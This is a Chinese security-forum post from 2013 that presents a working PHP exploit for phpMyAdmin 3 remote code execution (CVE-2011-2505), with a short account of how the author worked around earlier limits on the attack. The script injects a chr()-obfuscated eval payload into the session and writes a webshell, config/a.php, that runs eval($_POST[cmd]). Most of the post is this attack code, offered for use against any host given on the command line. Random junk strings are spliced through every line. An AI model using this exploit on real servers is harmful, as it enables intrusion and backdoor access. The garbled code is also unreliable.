找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2099|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
# Z4 n/ P& c. D$ E% X% n% _: m. z
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。% g) C# y5 d# K; ?' V. L4 r8 F

' \- ]5 K7 I# E: i首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
- X! B4 J1 m3 w0 Z) I# U" @一是session.auto_start = 1;
* N2 H# k  [3 u6 R5 y二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
; [5 O9 E/ J" f' o当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
7 n, M1 F7 H& @$ Z7 k" W& G6 v% c0 C9 |6 b! Q
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
6 `) {+ R. f1 ~$ b- w
9 ]* H: T* {* k/ ]" t, X* q" `于是写了这个php版本的exp,代码如下:
4 e9 ^% K6 e3 m  k# O' L: z2 s4 T2 X8 ^6 |, h
#!/usr/bin/php
+ w. O6 T* }- r- t+ l3 T8 T<?php; |3 s; _8 S, }: k
print_r('
  o! j5 }- c7 J' y* G+---------------------------------------------------------------------------+6 D2 i$ W* V( f% Y$ F" I  o
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]( q! y, Y' [$ m3 C
by oldjun(www.oldjun.com)6 l: G& R+ k3 T( g& H/ E1 G; H+ e
welcome to www.t00ls.net8 l/ V. b* E7 m7 \& W8 {
mail: oldjun@gmail.com
" F# _4 ]1 o' W* BAssigned CVE id: CVE-2011-2505
1 R) n" m4 x0 r1 C2 [+---------------------------------------------------------------------------+
3 C/ V" C' \2 y1 B& b');/ Q$ R3 C+ y: M; y: z. f( W$ Y
+ C, t- }! V4 D2 \3 n# _- |5 g- W9 n
/**
5 J0 G% E. d5 b+ U, M2 _: S * working when the directory:"config" exists and is writeable.
2 J7 M# L2 ]; Y! ~0 g**/
* {- O# s% L6 @- G% D' J% F! s 4 e" `5 k" v) r* a6 P1 [, h: Y& q) ?
if ($argc < 3) {
/ j3 O2 d2 `. s. e0 @$ e    print_r('- l' i7 A! t1 l& u2 U
+---------------------------------------------------------------------------+" P& V/ f, I+ w( P7 h1 p1 q
Usage: php '.$argv[0].' host path
1 u2 l( N- y% r" n- Ohost:      target server (ip/hostname)3 ?) L2 t7 H: h( f2 h- ]0 ^, y3 j
path:      path to pma3# s' }$ F) |2 x1 Q) n
Example:% F6 O4 T; m! ?1 Q. f/ a
php '.$argv[0].' localhost /pma/
0 m- L3 b( _, J' }! N8 p+---------------------------------------------------------------------------+
9 N2 q7 v- m9 }# @* m');# @+ @$ R2 I) u: U; {5 @, ~, T
    exit;
& W8 s# m1 v5 p$ U) k( r}# J; ^/ f. x6 f1 C8 q  Z
, x: r; S3 y$ A: k# y& D8 w
$host = $argv[1];
( K4 I" k" Z. K4 K" y. x) J( {$path = $argv[2];
" G8 d5 E5 W/ W/ Q! g5 s% }# S7 O
- y" a: B6 _7 Y) Q! A! e/**# K) m0 z9 `7 H/ E% u& N5 k
* Try to determine if the directory:"config" exists' \. G# \/ |8 T
**/* z! U  a! f" F- p; V, R/ L
echo "[+] Try to determine if the directory:config exists....\n";( v8 T9 E5 }1 j7 x
$returnstr=php_request('config/');
8 M, f1 X8 Z( bif(strpos($returnstr,'404')){
( Z  U& c" f) c& Z    exit("[-] Exploit Failed! The directory:config do not exists!\n");
( U9 _+ y. {9 r}
6 ~5 L$ V: _4 D: o. v
7 N1 |, A2 F' T# S# g: a. Q, X6 D/**9 s( O0 N4 ^2 o4 L8 g
* Try to get token and sessionid
0 V$ @; Y: }& L. A7 |# Y( _**/' n( S8 s7 T. D) C& |( Z& J
echo "[+] Try to get token and sessionid....\n";3 e9 h$ t: C8 i: G, X
$result=php_request('index.php');
& d2 r/ \* v+ ~: G. xpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
- [& f* X' _. r; _0 c2 z$token=$resp[3];" l; V; j# V4 k. S
$sessionid=$resp[1];; U/ g$ r: }7 ^! w, D
if($token && $sessionid){3 W% `. I" c. X& a7 Q
    echo "[+] tokentoken\n";- d% B0 L" N0 _( y
    echo "[+] Session IDsessionid\n";
( r3 m% r! U6 V$ [) `}else{: a% h: D0 q* a# g9 J
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");; s! K' S3 V6 T
}+ Y9 M# X- i2 u$ \
1 G3 B  ~. }2 q4 `
/**% M3 F) k+ [8 G
* Try to insert shell into session
1 @" f/ S! V) q! G**/* N  b4 v6 Q4 x( r4 v! D: `# C; k
echo "[+] Try to insert shell into session....\n";
2 R( N! t. r2 o- jphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
8 L6 {6 m$ D; [- |1 |
' r# d) }  q) {, k4 \- R/ Q* e/**
8 y" ~- e- ]9 q' e% e: z7 |8 [ * Try to create webshell
& P" Y7 N$ ^8 |* |**/
" p) T/ V! F  ~1 j+ K3 B# U1 ^3 zecho "[+] Try to create webshell....\n";
6 q) Y5 ?. s( l3 N# n* n# W& {php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);, `' _* n4 ~- t" k# N; W+ Z7 a
/**5 r/ N$ y* P/ Y& b( s) E
* Try to check if the webshell was created successfully
0 y  N& c/ X9 R" }! p**/
* ?! \: P! k2 recho "[+] Try to check if the webshell was created successfully....\n";
! d/ c1 P& N- ]. {$content=php_request('config/config.inc.php');8 d4 W* O+ b8 _0 j7 C: }# m% u
if(strpos($content,'t00ls')){2 I" n5 d# s8 G! O! q9 Z
    echo "[+] Congratulations! Expoilt successfully....\n";
0 E& N, Q, a% k1 c  [' b    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";- U1 J& T! i5 D
}else{9 [% l6 G/ n6 D, j% a# j; W
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
! b/ _1 E  M7 v3 s; |4 m" X}
% Q) V7 u3 n8 }$ |2 {+ X' r9 w* l5 T! I' h# v9 D! Y
function php_request($url,$data='',$cookie=''){
( J( d6 {" B) c5 I    global  $host, $path;
+ U" N  ~% X) l/ Q: d0 }' B. w6 m   
1 f: ?% x+ d8 i5 V8 p# }0 M! ~7 q% u4 o    $method=$data?'POST':'GET';: U, L7 y; q; d7 [  [( y* S
   
7 o. z  k! F. U6 ^' X    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
, w8 x# x( @" Q' q& u    $packet .= "Accept: */*\r\n";+ M1 T( s& ~6 V: E- `
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";* ?) d* b  P7 l- z2 Q% j8 q: J
    $packet .= "Host: $host\r\n";1 U! t7 M" f6 K& A5 A& ?( M6 i" I
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";% y5 E$ p5 U# Z8 F3 w
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";$ i# |3 z7 X8 ?$ k
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
$ Q9 s3 ~8 v" `7 z' `- `& m4 s    $packet .= "Connection: Close\r\n\r\n";
! s# O8 f; e! T- c    $packet .= $data?$data:"";5 A7 R. w* U, C, f0 z5 B& x, K

& r- V; W# [6 O' o    $fp = fsockopen(gethostbyname($host), 80);; d9 @7 a5 o# l: s) `4 G  j: V2 h
    if (!$fp) {
4 D0 Y  B0 F: [( b5 t1 _( p4 D    echo 'No response from '.$host; die;
6 j8 F0 q" B8 K8 r  Q$ ^% x/ w    }; O1 `2 I# f* w$ e4 c
    fputs($fp, $packet);
5 z9 _7 ]' Y# }6 p
4 Z$ ^2 B, {; ~! [    $resp = '';
- T  A7 R8 @$ u% Y# }
" a% J4 u4 t+ M5 w) N; `, [6 N, |    while ($fp && !feof($fp))" s, C; }7 ~( I8 W8 {6 K
        $resp .= fread($fp, 1024);: o( N0 Q$ G) Z1 R  c; k" l7 l
1 o. |( ]" k/ F! l' r1 Y
    return $resp;" W0 Y% C+ g+ s9 I3 f
}: w+ |- S" s* l" Z" ^
   
: N" p% w/ V8 ?" j0 I?>
4 ~6 f1 {# L$ k  l.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表